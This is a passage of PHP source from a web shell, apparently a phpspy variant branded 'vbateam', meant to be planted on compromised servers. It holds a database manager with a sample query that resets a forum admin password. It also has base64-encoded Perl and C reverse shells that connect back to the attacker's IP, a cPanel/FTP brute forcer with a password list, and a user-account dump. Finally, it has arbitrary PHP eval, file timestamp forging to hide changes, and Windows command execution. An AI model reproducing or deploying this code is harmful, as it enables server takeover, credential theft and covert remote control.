770 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
771 makehide('dbhost');
772 makehide('dbport');
773 makehide('dbuser');
774 makehide('dbpass');
775 makehide('dbname');
776 makehide('charset');
777 makehide('doing');
778 makehide('action','sqlfile');
779 p('</form>');
780}
781
782elseif ($action == 'sqladmin') {
783 !$dbhost && $dbhost = 'localhost';
784 !$dbuser && $dbuser = 'root';
785 !$dbport && $dbport = '3306';
786 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
787 if(isset($dbhost)){
788 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
789 }
790 if(isset($dbuser)) {
791 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
792 }
793 if(isset($dbpass)) {
794 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
795 }
796 if(isset($dbport)) {
797 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
798 }
799 if(isset($dbname)) {
800 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
801 }
802 if(isset($charset)) {
803 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
804 }
805
806 if ($doing == 'backupmysql' && $saveasfile) {
807 if (!$table) {
808 m('Please choose the table');
809 } else {
810 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
811 $table = array_flip($table);
812 $fp = @fopen($path,'w');
813 if ($fp) {
814 $result = q('SHOW tables');
815 if (!$result) p('<h2>'.mysql_error().'</h2>');
816 $mysqldata = '';
817 while ($currow = mysql_fetch_array($result)) {
818 if (isset($table[$currow[0]])) {
819 sqldumptable($currow[0], $fp);
820 }
821 }
822 fclose($fp);
823 $fileurl = str_replace(SA_ROOT,'',$path);
824 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
825 mysql_close();
826 } else {
827 m('Backup failed');
828 }
829 }
830 }
831 if ($insert && $insertsql) {
832 $keystr = $valstr = $tmp = '';
833 foreach($insertsql as $key => $val) {
834 if ($val) {
835 $keystr .= $tmp.$key;
836 $valstr .= $tmp."'".addslashes($val)."'";
837 $tmp = ',';
838 }
839 }
840 if ($keystr && $valstr) {
841 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
842 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
843 }
844 }
845 if ($update && $insertsql && $base64) {
846 $valstr = $tmp = '';
847 foreach($insertsql as $key => $val) {
848 $valstr .= $tmp.$key."='".addslashes($val)."'";
849 $tmp = ',';
850 }
851 if ($valstr) {
852 $where = base64_decode($base64);
853 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
854 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
855 }
856 }
857 if ($doing == 'del' && $base64) {
858 $where = base64_decode($base64);
859 $delete_sql = "DELETE FROM $tablename WHERE $where";
860 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
861 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
862 }
863
864 if ($tablename && $doing == 'drop') {
865 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
866 if (q("DROP TABLE $tablename")) {
867 m('Drop table of success');
868 $tablename = '';
869 } else {
870 m(mysql_error());
871 }
872 }
873
874 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
875
876 formhead(array('title'=>'MYSQL Manager'));
877 makehide('action','sqladmin');
878 p('<p>');
879 p('DBHost:');
880 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
881 p(':');
882 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
883 p('DBUser:');
884 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
885 p('DBPass:');
886 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
887 p('DBCharset:');
888 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
889 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
890 p('</p>');
891 formfoot();
892?>
893
894<script type="text/javascript">
895function editrecord(action, base64, tablename){
896 if (action == 'del') {
897 if (!confirm('Is or isn\'t deletion record?')) return;
898 }
899 $('recordlist').doing.value=action;
900 $('recordlist').base64.value=base64;
901 $('recordlist').tablename.value=tablename;
902 $('recordlist').submit();
903}
904function moddbname(dbname) {
905 if(!dbname) return;
906 $('setdbname').dbname.value=dbname;
907 $('setdbname').submit();
908}
909function settable(tablename,doing,page) {
910 if(!tablename) return;
911 if (doing) {
912 $('settable').doing.value=doing;
913 }
914 if (page) {
915 $('settable').page.value=page;
916 }
917 $('settable').tablename.value=tablename;
918 $('settable').submit();
919}
920</script>
921<?php
922 // SQL
923 formhead(array('name'=>'recordlist'));
924 makehide('doing');
925 makehide('action','sqladmin');
926 makehide('base64');
927 makehide('tablename');
928 p($dbform);
929 formfoot();
930
931 // Data
932 formhead(array('name'=>'setdbname'));
933 makehide('action','sqladmin');
934 p($dbform);
935 if (!$dbname) {
936 makehide('dbname');
937 }
938 formfoot();
939
940
941 formhead(array('name'=>'settable'));
942 makehide('action','sqladmin');
943 p($dbform);
944 makehide('tablename');
945 makehide('page',$page);
946 makehide('doing');
947 formfoot();
948
949 $cachetables = array();
950 $pagenum = 30;
951 $page = intval($page);
952 if($page) {
953 $start_limit = ($page - 1) * $pagenum;
954 } else {
955 $start_limit = 0;
956 $page = 1;
957 }
958 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
959 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
960 // get mysql server
961 $mysqlver = mysql_get_server_info();
962 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
963 $highver = $mysqlver > '4.1' ? 1 : 0;
964
965 // Show database
966 $query = q("SHOW DATABASES");
967 $dbs = array();
968 $dbs[] = '-- Select a database --';
969 while($db = mysql_fetch_array($query)) {
970 $dbs[$db['Database']] = $db['Database'];
971 }
972 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
973 $tabledb = array();
974 if ($dbname) {
975 p('<p>');
976 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
977 if ($tablename) {
978 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
979 }
980 p('</p>');
981 mysql_select_db($dbname);
982
983 $getnumsql = '';
984 $runquery = 0;
985 if ($sql_query) {
986 $runquery = 1;
987 }
988 $allowedit = 0;
989 if ($tablename && !$sql_query) {
990 $sql_query = "SELECT * FROM $tablename";
991 $getnumsql = $sql_query;
992 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
993 $allowedit = 1;
994 }
995 p('<form action="'.$self.'" method="POST">');
996 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
997
998 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
999 makehide('tablename', $tablename);
1000 makehide('action','sqladmin');
1001 p($dbform);
1002 p('</form>');
1003 if ($tablename || ($runquery && $sql_query)) {
1004 if ($doing == 'structure') {
1005 $result = q("SHOW COLUMNS FROM $tablename");
1006 $rowdb = array();
1007 while($row = mysql_fetch_array($result)) {
1008 $rowdb[] = $row;
1009 }
1010 p('<table border="0" cellpadding="3" cellspacing="0">');
1011 p('<tr class="head">');
1012 p('<td>Field</td>');
1013 p('<td>Type</td>');
1014 p('<td>Null</td>');
1015 p('<td>Key</td>');
1016 p('<td>Default</td>');
1017 p('<td>Extra</td>');
1018 p('</tr>');
1019 foreach ($rowdb as $row) {
1020 $thisbg = bg();
1021 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1022 p('<td>'.$row['Field'].'</td>');
1023 p('<td>'.$row['Type'].'</td>');
1024 p('<td>'.$row['Null'].' </td>');
1025 p('<td>'.$row['Key'].' </td>');
1026 p('<td>'.$row['Default'].' </td>');
1027 p('<td>'.$row['Extra'].' </td>');
1028 p('</tr>');
1029 }
1030 tbfoot();
1031 } elseif ($doing == 'insert' || $doing == 'edit') {
1032 $result = q('SHOW COLUMNS FROM '.$tablename);
1033 while ($row = mysql_fetch_array($result)) {
1034 $rowdb[] = $row;
1035 }
1036 $rs = array();
1037 if ($doing == 'insert') {
1038 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1039 } else {
1040 p('<h2>Update record in '.$tablename.' table »</h2>');
1041 $where = base64_decode($base64);
1042 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1043 $rs = mysql_fetch_array($result);
1044 }
1045 p('<form method="post" action="'.$self.'">');
1046 p($dbform);
1047 makehide('action','sqladmin');
1048 makehide('tablename',$tablename);
1049 p('<table border="0" cellpadding="3" cellspacing="0">');
1050 foreach ($rowdb as $row) {
1051 if ($rs[$row['Field']]) {
1052 $value = htmlspecialchars($rs[$row['Field']]);
1053 } else {
1054 $value = '';
1055 }
1056 $thisbg = bg();
1057 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1058 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1059 }
1060 if ($doing == 'insert') {
1061 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1062 } else {
1063 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1064 makehide('base64', $base64);
1065 }
1066 p('</table></form>');
1067 } else {
1068 $querys = @explode(';',$sql_query);
1069 foreach($querys as $num=>$query) {
1070 if ($query) {
1071 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1072 switch(qy($query))
1073 {
1074 case 0:
1075 p('<h2>Error : '.mysql_error().'</h2>');
1076 break;
1077 case 1:
1078 if (strtolower(substr($query,0,13)) == 'select * from') {
1079 $allowedit = 1;
1080 }
1081 if ($getnumsql) {
1082 $tatol = mysql_num_rows(q($getnumsql));
1083 $multipage = multi($tatol, $pagenum, $page, $tablename);
1084 }
1085 if (!$tablename) {
1086 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1087 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1088 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1089 $tablename = $matches[1][0];
1090 }
1091 $result = q($query);
1092 p($multipage);
1093 p('<table border="0" cellpadding="3" cellspacing="0">');
1094 p('<tr class="head">');
1095 if ($allowedit) p('<td>Action</td>');
1096 $fieldnum = @mysql_num_fields($result);
1097 for($i=0;$i<$fieldnum;$i++){
1098 $name = @mysql_field_name($result, $i);
1099 $type = @mysql_field_type($result, $i);
1100 $len = @mysql_field_len($result, $i);
1101 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1102 }
1103 p('</tr>');
1104 while($mn = @mysql_fetch_assoc($result)){
1105 $thisbg = bg();
1106 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1107 $where = $tmp = $b1 = '';
1108 foreach($mn as $key=>$inside){
1109 if ($inside) {
1110 $where .= $tmp.$key."='".addslashes($inside)."'";
1111 $tmp = ' AND ';
1112 }
1113 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1114 }
1115 $where = base64_encode($where);
1116 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">S?a File</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1117 p($b1);
1118 p('</tr>');
1119 unset($b1);
1120 }
1121 tbfoot();
1122 p($multipage);
1123 break;
1124 case 2:
1125 $ar = mysql_affected_rows();
1126 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1127 break;
1128 }
1129 }
1130 }
1131 }
1132 } else {
1133 $query = q("SHOW TABLE STATUS");
1134 $table_num = $table_rows = $data_size = 0;
1135 $tabledb = array();
1136 while($table = mysql_fetch_array($query)) {
1137 $data_size = $data_size + $table['Data_length'];
1138 $table_rows = $table_rows + $table['Rows'];
1139 $table['Data_length'] = sizecount($table['Data_length']);
1140 $table_num++;
1141 $tabledb[] = $table;
1142 }
1143 $data_size = sizecount($data_size);
1144 unset($table);
1145 p('<table border="0" cellpadding="0" cellspacing="0">');
1146 p('<form action="'.$self.'" method="POST">');
1147 makehide('action','sqladmin');
1148 p($dbform);
1149 p('<tr class="head">');
1150 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1151 p('<td>Name</td>');
1152 p('<td>Rows</td>');
1153 p('<td>Data_length</td>');
1154 p('<td>Create_time</td>');
1155 p('<td>Update_time</td>');
1156 if ($highver) {
1157 p('<td>Engine</td>');
1158 p('<td>Collation</td>');
1159 }
1160 p('</tr>');
1161 foreach ($tabledb as $key => $table) {
1162 $thisbg = bg();
1163 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1164 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1165 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1166 p('<td>'.$table['Rows'].'</td>');
1167 p('<td>'.$table['Data_length'].'</td>');
1168 p('<td>'.$table['Create_time'].'</td>');
1169 p('<td>'.$table['Update_time'].'</td>');
1170 if ($highver) {
1171 p('<td>'.$table['Engine'].'</td>');
1172 p('<td>'.$table['Collation'].'</td>');
1173 }
1174 p('</tr>');
1175 }
1176 p('<tr class=fout>');
1177 p('<td> </td>');
1178 p('<td>Total tables: '.$table_num.'</td>');
1179 p('<td>'.$table_rows.'</td>');
1180 p('<td>'.$data_size.'</td>');
1181 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1182 p('</tr>');
1183
1184 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1185 makehide('doing','backupmysql');
1186 formfoot();
1187 p("</table>");
1188 fr($query);
1189 }
1190 }
1191 }
1192 tbfoot();
1193 @mysql_close();
1194}//end sql backup
1195
1196
1197elseif ($action == 'backconnect') {
1198 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1199 !$yourport && $yourport = '12345';
1200 $usedb = array('perl'=>'perl','c'=>'c');
1201
1202 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1203 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1204 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1205 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1206 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1207 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1208 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1209 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1210 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1211 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1212 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1213 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1214 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1215 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1216 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1217
1218 if ($start && $yourip && $yourport && $use){
1219 if ($use == 'perl') {
1220 cf('/tmp/angel_bc',$back_connect);
1221 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1222 } else {
1223 cf('/tmp/angel_bc.c',$back_connect_c);
1224 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1225 @unlink('/tmp/angel_bc.c');
1226 $res = execute("/tmp/angel_bc $yourip $yourport &");
1227 }
1228 m("Now script try connect to $yourip port $yourport ...");
1229 }
1230
1231 formhead(array('title'=>'Back Connect'));
1232 makehide('action','backconnect');
1233 p('<p>');
1234 p('Your IP:');
1235 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1236 p('Your Port:');
1237 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1238 p('Use:');
1239 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1240 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1241 p('</p>');
1242 formfoot();
1243}//end backconnect window via NC
1244
1245// Brute
1246elseif ($action == 'brute') {
1247formhead(array('title'=>'Brute Forcer'));
1248 makehide('action','brute');
1249 makehide('dir',$brute);
1250@ini_set('memory_limit', 1000000000000);
1251$connect_timeout=5;
1252@set_time_limit(0);
1253$submit = $_REQUEST['submit'];
1254$users = $_REQUEST['users'];
1255$pass = $_REQUEST['passwords'];
1256$target = $_REQUEST['target'];
1257$option = $_REQUEST['option'];
1258
1259
1260$passlist = "0123456
126101234567
1262012345678
12630123456789
126401234567890
1265123456
12661234567
126712345678
1268123456789
12691234567890
1270111111
1271000000
1272222222
1273333333
1274444444
1275555555
1276666666
1277777777
1278888888
1279999999
1280123123
1281456456
1282789789
1283123321
1284456654
1285654321
12867654321
128787654321
1288987654321
12890987654321
1290admin
1291administrator
1292admincp
1293cpanel
1294adminx
1295admins
1296password
1297passwords
1298passw0rd
1299p@ssw0rd
1300p@ssword
1301khongco
130225251325
1303passw0rds";
1304if($target == ''){
1305$target = 'localhost';
1306}
1307print " <div align='center'>
1308
1309<form method='post' style='border: 1px solid #000000'><br><br>
1310<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
1311<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
1312<div align='center'><br>
1313<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
1314<tr>
1315<td align='center'>
1316<b>Username</b></td>
1317<td>
1318<p align='center'>
1319<b>Password</b></td>
1320</tr>
1321</table>
1322
1323<p align='center'>
1324<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
1325$i = 0;
1326while ($i < 60000) {
1327
1328 $line = posix_getpwuid($i);
1329 if (!empty($line)) {
1330
1331 while (list ($key, $vba_etcpwd) = each($line)){
1332 echo "".$vba_etcpwd."\n";
1333 break;
1334 }
1335
1336 }
1337
1338 $i++;
1339}
1340echo "
1341</textarea>
1342<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
1343<br>
1344<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
1345<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
1346</td></tr></table></td></tr></form><p align= 'left'>";
1347?>
1348<?php
1349function ftp_check($host,$user,$pass,$timeout){
1350$ch = curl_init();
1351curl_setopt($ch, CURLOPT_URL, "ftp://$host");
1352curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1353curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1354curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
1355curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1356curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1357curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1358$data = curl_exec($ch);
1359if ( curl_errno($ch) == 28 ) {
1360
1361print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
1362exit;}
1363
1364elseif ( curl_errno($ch) == 0 ){
1365
1366p("<b>[ attack@vbateam.net ]# </b>
1367
1368<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
1369}
1370curl_close($ch);}
1371
1372function cpanel_check($host,$user,$pass,$timeout){
1373$ch = curl_init();
1374curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
1375curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1376curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1377curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1378curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1379curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1380$data = curl_exec($ch);
1381if ( curl_errno($ch) == 28 ) {
1382print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
1383exit;}
1384elseif ( curl_errno($ch) == 0 ){
1385
1386p("<b>[ attack@vbateam.net ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
1387
1388if(isset($submit) && !empty($submit)){
1389
1390$userlist = explode ("\n" , $users );
1391$passlist = explode ("\n" , $pass );
1392p('<b>[ attack@vbateam.net ]# Attacking ...</font></b><br>');
1393foreach ($userlist as $user) {
1394$_user = trim($user);
1395foreach ($passlist as $password ) {
1396$_pass = trim($password);
1397if($option == "ftp"){
1398ftp_check($target,$_user,$_pass,$connect_timeout);
1399}
1400if ($option == "cpanel")
1401{
1402cpanel_check($target,$_user,$_pass,$connect_timeout);
1403}
1404}
1405}
1406}
1407
1408 formfoot();
1409}
1410
1411
1412
1413
1414
1415
1416elseif ($action == 'etcpwd') {
1417formhead(array('title'=>'Get /etc/passwd'));
1418 makehide('action','etcpwd');
1419 makehide('dir',$nowpath);
1420$i = 0;
1421 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
1422while ($i < 60000) {
1423
1424 $line = posix_getpwuid($i);
1425 if (!empty($line)) {
1426
1427 while (list ($key, $vba_etcpwd) = each($line)){
1428 echo "".$vba_etcpwd."\n";
1429 break;
1430 }
1431
1432 }
1433
1434 $i++;
1435}
1436 echo "</textarea></p>";
1437 formfoot();
1438}
1439
1440elseif ($action == 'eval') {
1441 $phpcode = trim($phpcode);
1442 if($phpcode){
1443 if (!preg_match('#<\?#si', $phpcode)) {
1444 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1445 }
1446 eval("?".">$phpcode<?");
1447 }
1448 formhead(array('title'=>'Eval PHP Code'));
1449 makehide('action','eval');
1450 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1451 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
1452 formfooter();
1453}//end eval
1454
1455elseif ($action == 'editfile') {
1456 if(file_exists($opfile)) {
1457 $fp=@fopen($opfile,'r');
1458 $contents=@fread($fp, filesize($opfile));
1459 @fclose($fp);
1460 $contents=htmlspecialchars($contents);
1461 }
1462 formhead(array('title'=>'Create / Edit File'));
1463 makehide('action','file');
1464 makehide('dir',$nowpath);
1465 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1466 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1467 formfooter();
1468}//end editfile
1469
1470elseif ($action == 'newtime') {
1471 $opfilemtime = @filemtime($opfile);
1472 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1473 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1474 formhead(array('title'=>'Clone file was last modified time'));
1475 makehide('action','file');
1476 makehide('dir',$nowpath);
1477 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1478 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1479 formfooter();
1480 formhead(array('title'=>'Set last modified'));
1481 makehide('action','file');
1482 makehide('dir',$nowpath);
1483 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1484 p('<p>Instead »');
1485 p('year:');
1486 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1487 p('month:');
1488 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1489 p('day:');
1490 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1491 p('hour:');
1492 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1493 p('minute:');
1494 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1495 p('second:');
1496 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1497 p('</p>');
1498 formfooter();
1499}//end newtime
1500
1501elseif ($action == 'shell') {
1502 if (IS_WIN && IS_COM) {
1503 if($program && $parameter) {
1504 $shell= new COM('Shell.Application');
1505 $a = $shell->ShellExecute($program,$parameter);
1506 m('Program run has '.(!$a ? 'success' : 'fail'));
1507 }
1508 !$program && $program = 'c:\windows\system32\cmd.exe';
1509 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1510 formhead(array('title'=>'Execute Program'));
1511 makehide('action','shell');
1512 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1513 p('<p>');
1514 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1515 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1516 p('</p>');
1517 formfoot();
